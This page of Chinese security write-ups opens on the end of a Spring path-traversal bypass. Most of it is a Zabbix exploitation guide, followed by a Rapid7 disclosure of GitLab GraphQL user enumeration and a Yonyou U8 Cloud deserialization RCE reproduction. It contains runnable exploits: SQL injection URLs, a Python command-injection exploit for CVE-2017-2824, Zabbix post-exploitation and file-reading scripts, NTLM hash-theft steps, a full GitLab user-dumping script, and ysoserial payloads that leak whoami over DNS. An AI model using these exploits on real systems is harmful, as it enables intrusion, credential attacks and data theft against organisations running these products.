}

image

可以看到确实是可以的,但是实际中不行,是因为最开始分析的processPath对我们的路径最了标准化处理

然后思路就回到如何绕过这个标准化,就是不能出现////这种连起来的,再结合刚刚对windows的处理\

那我们可以构造这样一个路径

1
/static/%5c/%5c/../../1.txt

首先processPath处理后原样输出,而标准化处理后就变为

image

然后就可以了

image

参考

https://avd.aliyun.com/detail?id=AVD-2024-38816

Zabbix 漏洞深入利用

Zabbix 漏洞深入利用

本文转自 Geekby 并作补充

1 前言

Zabbix 是一个基于 WEB 界面的提供分布式系统监视系统监视以及网络监视功能的企业级的开源解决方案,能监视各种网络参数,保证服务器系统服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位、解决存在的各种问题。

1.1 组件

Zabbix 监控系统由以下几个组件部分构成:

  • Zabbix Server

Zabbix Server 是所有配置、统计和操作数据的中央存储中心,也是 Zabbix 监控系统的告警中心。在监控的系统中出现任何异常,将被发出通知给管理员。Zabbix Server 的功能可分解成为三个不同的组件,分别为 Zabbix Server 服务、Web 后台及数据库。

  • Zabbix Proxy

Zabbix Proxy 是在大规模分布式监控场景中采用一种分担 Zabbix Server 压力的分层结构,其多用在跨机房、跨网络的环境中,Zabbix Proxy 可以代替 Zabbix Server 收集性能和可用性数据,然后把数据汇报给 Zabbix Server,并且在一定程度上分担了 Zabbix Server 的压力。

  • Zabbix Agent

Zabbix Agent 部署在被监控的目标机器上,以主动监控本地资源和应用程序(硬盘、内存、处理器统计信息等)。Zabbix Agent 收集本地的状态信息并将数据上报给 Zabbix Server 用于进一步处理。

1.2 网络架构

image

对于 Zabbix Agent 客户端来说,根据请求类型可分为被动模式及主动模式:

  • 被动模式:Server 向 Agent 的 10050 端口获取监控项数据,Agent 根据监控项收集本机数据并响应。
  • 主动模式:Agent 主动请求 Server (Proxy) 的 10051 端口获取监控项列表,并根据监控项收集本机数据提交给 Server (Proxy)

1.3 Zabbix Agent 配置

Zabbix Agent 服务的配置文件为 zabbix_agentd.conf,Linux 默认路径在 /etc/zabbix/zabbix_agentd.conf

image

配置文件中包含的一些基本设置选项:

  • Server 参数

Server 或 Proxy 的 IP、CIDR、域名等,Agent 仅接受来自 Server 参数的 IP 请求(白名单)。

  • ServerActive 参数

Server 或 Proxy 的 IP、CIDR、域名等,用于主动模式,Agent 主动向 ServerActive 参数的 IP 发送请求。

  • StartAgents 参数

zabbix 启动之后开启被动监控的进程数量,默认为3。如果设置为 0,那么 zabbix 被动监控被禁用,并且不会监听 10050 端口。

image

配置文件中包含的一些可能存在风险的设置选项:

  • Include 参数

加载配置文件目录单个文件或所有文件,通常包含的 conf 都是配置 UserParameter 自定义用户参数。

  • UserParameter 参数

自定义用户参数,格式为UserParameter=<key>,<command>,Server 可向 Agent 执行预设的自定义参数命令以获取监控数据,以官方示例为例:

1
UserParameter=ping[*],echo $1

当 Server 向 Agent 执行 ping[aaaa] 指令时,$1 为传参的值,Agent 经过拼接之后执行的命令为echo aaaa,最终执行结果为aaaa

command 存在命令拼接,但由于传参内容受 UnsafeUserParameters 参数限制,默认无法传参特殊符号,所以默认配置利用场景有限。

  • UnsafeUserParameters 参数

自定义用户参数是否允许传参任意字符,默认不允许字符 \ ' " `` * ? [ ] { } ~ $ ! & ; ( ) < > | # @,当 UnsafeUserParameters=1 时,允许特殊字符。

UserParameter=ping[*],echo $1 为例,向 Agent 执行指令 ping[test && whoami],经过命令拼接后最终执行 echo test && whoami,成功注入执行 shell 命令。

  • EnableRemoteCommands 参数

是否允许来自 Zabbix Server 的远程命令,开启后可通过 Server 下发 shell 脚本在 Agent 上执行。当值为 1 时,允许远程下发命令。

  • AllowRoot 参数

Linux 默认以低权限用户 zabbix 运行,开启后以 root 权限运行 zabbix_agentd 服务。当其值为 1 时,允许以 root 权限执行命令。

2 Zabbix 历史漏洞

2.1 弱口令

2.1.1 Web 端

Zabbix 安装后自带 Admin 管理员用户和 Guests 访客用户(低版本),可登陆 Zabbiax 后台。

常见弱口令组合:

  • admin:zabbix
  • Admin:zabbix
  • guset:空口令

2.1.2 mysql 端

由于 root 用户默认情况下无法外连,运维通常会新建 MySQL 用户 zabbix,常见密码如下:

1
2
3
4
5
6
123456
zabbix
zabbix123
zabbix1234
zabbix12345
zabbix123456

拿下 MySQL 数据库后,可解密 users 表的密码 md5 值,或者直接替换密码的 md5 为已知密码,即可登录 Zabbix Web。

2.2 CVE-2016-10134 - SQL 注入漏洞

该漏洞的具体分析可参考:zabbix SQL注入漏洞(CVE-2016-10134),原理是 insert 插入时未对用户输入的数据进行过滤,可以进行显错注入。

2.2.1 已有用户凭据

以 Guest 用户登录后,查看 Cookie 中的zbx_sessionid,复制后 16 位字符:

image

将这 16 个字符作为 sid 的值,访问 http://your-ip:8080/latest.php?output=ajax&sid=16位 ID&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0),可见成功注入:

image

2.2.2 无用户凭据

这个漏洞也可以通过 jsrpc.php 触发,且无需登录:http://IP:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

image

将用户密码 MD5 还原即可登录。漏洞利用脚本:zabbixPwn

2.3 CVE-2017-2824 - 命令注入

利用该漏洞,需要服务端开启了自动注册功能,所以我们先以管理员的身份开启自动注册功能。使用账号密码 admin/zabbix 登录后台,进入 Configuration->Actions,将 Event source 调整为 Auto registration,然后点击 Create action,创建一个 Action,名字随意:

image

第三个标签页,创建一个 Operation,type是 Add Host

image

保存。这样就开启了自动注册功能,攻击者可以将自己的服务器注册为 Agent。

第一条数据:

active checks是 Agent 主动检查时用于获取监控项列表的命令,Zabbix Server 在开启自动注册的情况下,通过 active checks 命令请求获取一个不存在的 host 时,自动注册机制会将 json 请求中的 host、ip 添加到 interface 数据表里。

1
{"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))

第二条数据:

1
{"request":"command","scriptid":1,"hostid":10001}

command 指令可以在未授权的情况下可指定主机 (hostid) 执行指定脚本 (scriptid),Zabbix 存在 3 个默认脚本,脚本中的 {HOST.CONN} 在脚本调用的时候会被替换成主机 IP。

1
2
3
# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
# scriptid == 2 == /usr/bin/traceroute {HOST.CONN} 2>&1
# scriptid == 3 == sudo /usr/bin/nmap -O {HOST.CONN} 2>&1

scriptid 指定其中任意一个,hostid 为注入恶意 Payload 后的主机 id,但自动注册后的 hostid 是未知的,所以通过 command 指令遍历 hostid 的方式都执行一遍,最后成功触发命令注入漏洞。

由于默认脚本的类型限制,脚本都是在 Zabbix Server 上运行,Zabbix Proxy 是无法使用 command 指令的。payload 长度受限制可拆分多次执行,必须更换 host 名称以执行新的payload。

EXP 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import sys
import socket
import json
import sys


def send(ip, data):
conn = socket.create_connection((ip, 10051), 10)
conn.send(json.dumps(data).encode())
data = conn.recv(2048)
conn.close()
return data


target = sys.argv[1]
print(send(target, {"request":"active checks","host":"vulhub","ip":";touch /tmp/success"}))
for i in range(10000, 10500):
data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
if data and b'failed' not in data:
print('hostid: %d' % i)
print(data)

image

image

2.4 CVE-2020-11800 - 命令注入

该漏洞为基于 CVE-2017-2824 的绕过利用。未授权攻击者向 Zabbix Server 的 10051 端口发送 trapper 功能相关命令,利用漏洞即可在 Zabbix Server 上执行系统命令。

其中 CVE-2020-11800 漏洞通过 ipv6 格式绕过 ip 字段检测注入执行 shell 命令,受数据表字段限制 Payload 长度只能为 64 个字符

1
{"request":"active checks","host":"vulhub","ip":"ffff:::;whoami"}

由于 CVE-2017-2824 与 CVE-2020-11800 漏洞点及利用区别不大,不再复述。

3 Zabbix 后渗透测试

在拥有 Zabbix Server 权限后,如何利用当前权限进一步控制 Zabbix Agent?前文讲到,Zabbix Agent 的 10050 端口仅处理来自 Zabbix Server 或 Proxy 的请求,所以后续攻击都是依赖于 Zabbix Server 权限进行扩展。

在 zabbix 中,我们要监控的某一个指标,被称为“监控项”,就像我们的磁盘使用率,在 zabbix 中就可以被认为是一个“监控项”(item),如果要获取到“监控项”的相关信息,我们则要执行一个命令,但是我们不能直接调用命令,而是通过一个“别名”去调用命令,这个“命令别名”在 zabbix 中被称为“键”(key),所以在 zabbix 中,如果我们想要获取到一个“监控项”的值,则需要有对应的“键”,通过“键”能够调用相应的命令,获取到对应的监控信息。

在控制 Zabbix Server 权限的情况下可通过 zabbix_get 命令向 Agent 获取监控项数据,比如说获取 Agent 的系统内核信息:

image

关于监控项,可以参考:

Agent监控项较多不一一例举,可以参考:

1. Zabbix Agent监控项

2. Zabbix Agent Windows监控项

针对 item 监控项的攻击面进行挖掘,存在以下利用场景:

3.1 EnableRemoteCommands 参数远程命令执行

前文讲到,Agent 远程执行系统命令需要在 zabbix_agentd.conf 配置文件中开启 EnableRemoteCommands 参数。

在 Zabbix Web 上添加脚本,Execute on 选项可根据需求选择,选择 Zabbix server 不需要开启 EnableRemoteCommands 参数,所以一般控制 Zabbix Web 后可通过该方式在 Zabbix Server 上执行命令拿到服务器权限。

image

如果要指定某个主机执行该脚本,可从 Zabbix Web 的“监测中 -> 最新数据”功能中根据过滤条件找到想要执行脚本的主机,单击主机名即可在对应 Agent 上执行脚本。

image

如果类型是 Execute on Zabbix Agent ,Agent 配置文件在未开启 EnableRemoteCommands 参数的情况下会返回报错。

如果不想在 Zabbix Web 上留下太多日志痕迹,或者想批量控制 Agent,拿下 Zabbix Server 权限后可以通过 zabbix_get 命令向 Agent 执行监控项命令,在 Zabbix Web 执行脚本实际上等于执行 system.run 监控项命令

image

3.2 UserParameter 自定义参数命令注入

当 Zabbiax Agent 的 zabbix_agentd.conf 配置文件开启 UnsafeUserParameters 参数的情况下,传参值字符不受限制,只需要找到存在传参的自定义参数 UserParameter,就能达到命令注入的效果。

以下面配置为例:

image

1
zabbix_get -s agent -p 10050 -k "ping[test && id]"

image

3.3 任意文件读取

Zabbix Agent 如果没有配置不当的问题,是否有其他姿势可以利用呢?答案是肯定的。

Zabbix 原生监控项中,vfs.file.contents命令可以读取指定文件,但无法读取超过 64KB 的文件。

image

zabbix_agentd 服务默认以低权限用户 zabbix 运行,读取文件受 zabbix 用户权限限制。开启 AllowRoot 参数情况下 zabbix_agentd 服务会以 root 权限运行,利用 vfs.file.contents 命令就能任意文件读取。

如果文件超过 64KB 无法读取,在了解该文件字段格式的情况下可利用 vfs.file.regexp 命令正则获取关键内容。

3.4 Windows 目录遍历

Zabbix原生监控项中,wmi.get命令可以执行 WMI 查询并返回第一个对象,通过 WQL 语句可以查询许多机器信息。

如:WQL 查询盘符

1
zabbix_get -s agent -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM Win32_LogicalDisk\"]"

利用 wmi.get命令进行目录遍历、文件遍历,结合 vfs.file.contents 命令就能够在 Windows 下实现任意文件读取。

基于 zabbix_get 命令写了个 python 脚本,实现 Windows 的列目录、读文件功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import os
import sys

count = 0

def zabbix_exec(ip, command):
global count
count = count + 1
check = os.popen("./zabbix_get -s " + ip + " -k \"" + command + "\"").read()
if "Cannot obtain WMI information" not in check:
return check.strip()
else:
return False

def getpath(path):
return path.replace("\\","\\\\\\\\").replace("$","\\$")

def GetDisk(ip):
where = ""
while(True):
check_disk = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM Win32_LogicalDisk WHERE Name != '' " + where + "\\\"]")
if check_disk:
print(check_disk)
where = where + "AND Name != '" + check_disk+ "'"
else:
break

def GetDirs(ip, dir):
drive = dir[0:2]
path = dir[2:]

where = ""
while(True):
check_dir = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Caption FROM Win32_Directory WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
if check_dir:
print(check_dir)
where = where + "AND Caption != '" + getpath(check_dir) + "'"
else:
break

def GetFiles(ip, dir):
drive = dir[0:2]
path = dir[2:]

where = ""
while(True):
check_file = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM CIM_DataFile WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
if check_file:
if "Invalid item key format" in check_file:
continue
print(check_file)
where = where + "AND Name != '" + getpath(check_file) + "'"
else:
break

def Readfile(ip, file):
read = zabbix_exec(ip, "vfs.file.contents[" + file + "]")
print(read)

if __name__ == "__main__":
if len(sys.argv) == 2:
GetDisk(sys.argv[1])
elif sys.argv[2][-1] != "\\":
Readfile(sys.argv[1], sys.argv[2])
else:
GetDirs(sys.argv[1],sys.argv[2])
GetFiles(sys.argv[1],sys.argv[2])

print("Request count: " + str(count))

3.5 Windows UNC 路径利用

在 Windows Zabbix Agent 环境中,可以利用 vfs.file.contents 命令读取 UNC 路径,窃取 Zabbix Agent 机器的 Net-NTLM hash,从而进一步 Net-NTLM relay 攻击。

Window Zabbix Agent 默认安装成 Windows 服务,运行在 SYSTEM 权限下。在工作组环境中,system 用户的 Net-NTLM hash 为空,所以工作组环境无法利用。

在域内环境中,SYSTEM 用户即机器用户,如果是 Net-NTLM v1 的情况下,可以利用 Responder 工具获取 Net-NTLM v1 hash 并通过算法缺陷解密拿到 NTLM hash,配合资源约束委派获取域内机器用户权限,从而拿下 Agent 机器权限。

也可以配合 CVE-2019-1040 漏洞,relay 到 ldap 上配置基于资源的约束委派进而拿下 Agent 机器权限。(此处直接结果直接引用,未做实验)

image

image

3.6 Zabbix Proxy 和主动检查模式利用场景

通过 zabbix_get 工具执行监控项命令只适合 Agent 被动模式且 10050 端口可以通讯的场景

如果在 Zabbix Proxy 场景或 Agent 主动检查模式的情况下,Zabbix Server 无法直接与 Agent 10050 端口通讯,可以使用比较通用的办法,就是通过 Zabbix Web 添加监控项。

image

其它配置同理,在此不做赘述。

参考

CVE-2021-4191:GitLab GraphQL API 用户枚举(已修复)

CVE-2021-4191:GitLab GraphQL API 用户枚举(已修复)

本文转自 jake-baines 并作补充

2022年2月25日,GitLab发布了针对CVE-2021-4191的修复程序,该漏洞属于CWE-359 “向未经授权的攻击者暴露私人个人信息”的一个实例。此漏洞现已修复,影响GitLab 13.0及更高版本。该漏洞是由于执行某些GitLab GraphQL API查询时缺少身份验证检查造成的。远程未经身份验证的攻击者可以利用此漏洞收集已注册的GitLab用户名、姓名和电子邮件地址。我们对此问题的初始CVSSv3基本评分为5.3

Metasploit 模块已可用,我们预计该漏洞会被用于信息收集和用户名列表生成。单独使用该漏洞的影响可能微乎其微,但如果结合暴力破解密码和撞库攻击,则可能造成严重后果。

Credit

该问题由高级安全研究员Jake BainesRapid7 的漏洞披露计划中发现并报告。

Impact

GitLab GraphQL API 信息泄露事件允许远程未经身份验证的攻击者恢复用户名、姓名,有时甚至包括电子邮件地址。乍一看,这似乎风险很小。然而,账户发现之所以是 MITRE ATT&CK 框架中的一项技术,是有原因的。收集有效用户账户列表是各种暴力破解攻击的第一步,例如密码猜测密码喷洒凭证填充攻击

这类攻击看似简单,但却十分有效。包括EmotetFancy BearNobelium在内的许多成功的恶意软件/组织都曾使用过这种技术。

开源攻击性安全社区也投入了大量时间开发暴力破解工具,这再次印证了暴力破解在实际攻击中仍然是一种可行的攻击手段。诸如ncrackPatatorCrackMapExecTHC-Hydra等开源暴力破解工具就是例证。

利用攻击者提供的用户名列表实施攻击。GitLab GraphQL API 信息输出的是有效的用户名。因此,此漏洞与现有工具相辅相成。

虽然攻击者总是可以使用包含已知用户名的常用 字典,但暴力破解攻击利用被攻击组织的已知有效用户名,可以提高其成功几率。

此次信息泄露还可能使攻击者能够基于 GitLab 安装创建新的用户名字典——不仅包括 gitlab.com,还包括可以从互联网访问的其他 50,000 个 GitLab 实例。

image

这样的字典并非史无前例。2021年,Clubhouse 曾公开一个 API,允许未经认证的用户枚举 Clubhouse 的用户群。攻击者利用该 API 将数据合并到一个数据库中,然后将其发布到黑客论坛上供任何人使用。

需要注意的是,这并非 GitLab 首次从 API 泄露类似细节。早在 2015 年,MWR Infosecurity就发布了一篇博客文章和一个未经身份验证的远程Metasploit 模块,该模块使用 /api/v3/internal/discover?key_id= API 枚举用户帐户。

Exploitation

经与 GitLab 工程团队协商,我们确认该问题最初是在 GitLab 13.0 中引入的。

存在漏洞的端点是 /api/graphql。GitLab文档指出,身份验证使用个人访问令牌,如下所示。

image

然而,并非所有对该端点的请求都需要身份验证。GitLab 的 /-/graphql-explorer 端点是测试这一点的理想场所。在下图左侧,您可以看到一个用于获取所有用户 ID、姓名和用户名的 GraphQL 请求,右侧则是响应。

image

除了ID、姓名和用户名之外,攻击者还可以获取更多信息。以下列出了未经身份验证的远程攻击者可以窃取的更完整信息列表。

image

以下 Python 脚本将打印一个 CSV 文件,其中包含已发现的 ID、用户名、姓名、电子邮件地址以及用户是否为机器人。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
###
# Dumps GitLab's user base to CSV form.
#
# Requires GraphqlClient: pip install python-graphql-client
###
from python_graphql_client import GraphqlClient
import json
import sys
import argparse

top_parser = argparse.ArgumentParser(description='A tool for dumping a GitLab userbase via GraphQL')
top_parser.add_argument('--rurl', action="store", dest="rurl", required=True, help="The remote URL to send the requests to")
args = top_parser.parse_args()

client = GraphqlClient(endpoint=args.rurl)

# first starts at 1
first = 1

query_header = """query
{
users"""
query_paging_info = ""
query_payload = """
{
pageInfo {
hasNextPage
hasPreviousPage
endCursor
startCursor
}
nodes {
id
bot
username
email
publicEmail
name
webUrl
webPath
avatarUrl
state
location
status {
emoji
availability
message
messageHtml
}
userPermissions {
createSnippet
}
groupCount
groups {
nodes{
id
name
fullName
fullPath
}
}
starredProjects {
nodes{
name
path
fullPath
}
}
projectMemberships {
nodes {
id
createdAt
}
}
namespace{
id
name
path
fullName
fullPath
lfsEnabled
visibility
requestAccessEnabled
sharedRunnersSetting
}
callouts {
nodes{
featureName
dismissedAt
}
}
}
}
}
"""

more_data = True

print("id,username,name,publicEmail,bot")
while more_data == True:
query = query_header + query_paging_info + query_payload
json_data = client.execute(query=query)

if "errors" in json_data:
print("Received error in response. Exiting. ")
print(json.dumps(json_data))
sys.exit(0)

for user in json_data["data"]["users"]["nodes"]:
print(user["id"] + "," + user["username"] + "," + user["name"] + "," + user["publicEmail"] + "," + str(user["bot"]))

if json_data["data"]["users"]["pageInfo"]["hasNextPage"] == True:
query_paging_info = "(after:\"" + json_data["data"]["users"]["pageInfo"]["startCursor"] + "\")"
else:
more_data = False

以下是上述输出的示例:

1
2
3
4
5
6
albinolobster@ubuntu:~$ python3 gitlab_enum.py --rurl http://10.0.0.6/api/graphql
id,username,name,publicEmail,bot
gid://gitlab/User/4,test,George,test@test.com,False
gid://gitlab/User/3,support-bot,GitLab Support Bot,,True
gid://gitlab/User/2,alert-bot,GitLab Alert Bot,,True
gid://gitlab/User/1,root,Administrator,,False

除了构建用于凭证攻击的用户名列表外,攻击者还可以利用这些信息来发现受影响用户的其他社交媒体帐户和联系人。这可以通过查询单个 GitLab 个人资料页面或简单地将用户名、姓名和电子邮件地址与其他来源进行交叉比对来实现。这种信息收集方式使攻击者能够发起更复杂的网络钓鱼攻击。

Mitigation

除非您打算将 GitLab 作为任何人都可以访问的公共资源提供,否则请确保您的 GitLab 实例无法从互联网访问。当然,我们也强烈建议用户将 GitLab 服务器实例更新到最新版本(14.8.2、14.7.4 和 14.6.5)。禁用公开个人资料也是防止未经授权的信息收集的有效措施。

要禁用公开个人资料,请转到“管理区域”->“常规”->“可见性和访问控制”->“受限可见性级别”。然后选中“公开”旁边的复选框。这样应该可以阻止任何未登录的用户查看用户个人资料。

Disclosure timeline

  • 2021年11月: Rapid7公司的Jake Baines初步发现并确认。
  • 2021年11月18日,星期四:首次联系GitLabs
  • 2021年11月23日,星期二:已向 GitLabs 提交问题 #1408214,并提供了完整的技术细节。
  • 2022年1月17日,星期一:供应商表示,在11月和12月多次更新状态后,修复程序即将推出。
  • 2022年2月8日,星期二:修复程序已准备就绪,经过测试,将在下一次安全更新中发布。
  • 2022年2月25日,星期五: 发布了针对CVE-2021-4191的补丁
  • 2022年3月1日,星期二: Metasploit模块PR#16252已提交,用于修复CVE-2021-4191漏洞。
  • 2022年3月3日,星期四:公开披露CVE-2021-4191(本文档)

用友U8 Cloud 反序列化RCE漏洞复现

用友U8 Cloud 反序列化RCE漏洞复现

本文转自 OidBoy_G 并作补充

0x01 产品简介

用友U8 Cloud是用友推出的新一代云ERP,主要聚焦成长型、创新型企业,提供企业级云ERP整体解决方案。

0x02 漏洞概述

用友U8 Cloud存在多处(FileManageServlet和LoginVideoServlet)反序列化漏洞,系统未将用户传入的序列化数据进行过滤就直接执行反序列化操作,结合系统本身存在的反序列化利用链,最终造成远程代码执行。

0x03 影响范围

用友U8 Cloud 所有版本

0x04 复现环境

FOFA:app=”用友-U8-Cloud”

0x05 漏洞复现

两处接口的反序列化漏洞路径:

1
2
/servlet/~uap/nc.impl.pub.filesystem.FileManageServlet
/servlet/~uap/nc.bs.sm.login2.LoginVideoServlet

PS:用友的反序列化漏洞大部分cc6就可以直接打,post请求传入反序列化的二进制数据 就可以进行命令执行,ysoserial工具集成了多种cc链,感兴趣的可以研究研究

工具地址:https://github.com/frohoff/ysoserial/releases/tag/v0.0.6

构造序列化数据(jdk1.8)

1
java -jar ysoserial-all.jar CommonsCollections6 "ping `whoami`.l4z6nq7x.dnslog.pw" >4.ser

PoC

1
2
3
4
5
6
7
8
9
10
11
POST /servlet/~uap/nc.impl.pub.filesystem.FileManageServlet HTTP/1.1
Host: your-ip
Content-Type: *

{{file(C:\Users\m1813\Desktop\4.ser)}}

POST /servlet/~uap/nc.bs.sm.login2.LoginVideoServlet HTTP/1.1
Host: your-ip
Content-Type: *

{{file(C:\Users\m1813\Desktop\4.ser)}}

PS:里面生成序列化数据文件的路径自行修改

两个路径都可以打,自行测试

0x06 修复建议

官方修复方案

用友安全中心已发布官方补丁:

https://security.yonyou.com/#/noticeInfo?id=400

https://security.yonyou.com/#/noticeInfo?id=399

临时修复方案:

使用ACL网络策略限制访问来源;

使用防护类设备对/servlet/uap/nc.impl.pub.filesystem.FileManageServlet和/servlet/uap/nc.bs.sm.login2.LoginVideoServlet路径进行防护。